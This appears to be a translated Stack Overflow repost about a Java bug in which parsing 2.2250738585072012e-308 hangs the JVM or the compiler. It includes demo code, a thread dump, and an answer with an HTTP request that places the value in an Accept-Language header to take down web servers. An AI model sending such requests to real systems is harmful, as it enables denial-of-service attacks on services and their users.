gpt4 book ai didi

java - 哪种类型的网络应用程序实际上会受到 float 错误的影响?

转载 作者:塔克拉玛干 更新时间:2023-11-03 03:08:19 25 4
gpt4 key购买 nike

有一种简单的方法可以完全锁定大量 JVM:

class runhang {
public static void main(String[] args) {
System.out.println("Test:");
double d = Double.parseDouble("2.2250738585072012e-308");
System.out.println("Value: " + d);
}
}

或者,挂起编译器:

class compilehang {
public static void main(String[] args) {
double d = 2.2250738585072012e-308;
System.out.println("Value: " + d);
}
}

如此处解释:http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

我的问题很简单:您知道哪种精心设计的 Web 应用程序实际上会受此影响?

换句话说:攻击者可以利用已知的弱点在哪种网络应用程序上执行拒绝服务

太糟糕了,太糟糕了。但是除了使用 float 进行货币计算的程序员之外,我没有看到许多可能崩溃的 Java 支持的网站。

我可以看到玩具科学小程序是候选者,但除此之外......

这是阻塞线程的线程转储(在 Linux 上使用“kill -3”完成):

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
at sun.misc.FDBigInt.mult(FloatingDecimal.java:2617)
at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
at java.lang.Double.parseDouble(Double.java:482)

编辑

JVM 锁定在这里:

Java 版本“1.5.0_10”Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_10-b03)Java HotSpot(TM) 服务器虚拟机(build 1.5.0_10-b03,混合模式)

Java 版本“1.6.0_17”Java(TM) SE 运行时环境(build 1.6.0_17-b04)Java HotSpot(TM) 服务器虚拟机(内部版本 14.3-b01,混合模式)

最佳答案

许多 Web 服务器 使用 Double.parse 解析部分 http header ,因此我们在这里处理基础设施(除了在容器中运行的应用程序的任何问题)。您链接到的 Exploring Binary 博客的评论有以下示例:

GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308

如果请求所针对的 servlet 调用任何本地化 API(然后将尝试解析语言 header ),上述操作将导致服务器停机。

所以是的,这是一个非常大的问题。攻击面相当大,后果也相当严重。

关于java - 哪种类型的网络应用程序实际上会受到 float 错误的影响?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/4949057/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com